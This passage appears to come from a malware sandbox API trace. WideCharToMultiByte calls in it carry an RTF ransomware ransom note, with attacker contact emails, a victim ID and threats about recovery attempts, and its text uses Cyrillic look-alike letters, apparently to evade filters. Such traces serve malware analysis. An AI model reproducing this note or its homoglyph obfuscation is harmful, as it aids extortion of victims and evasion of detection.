siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1da3ea8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 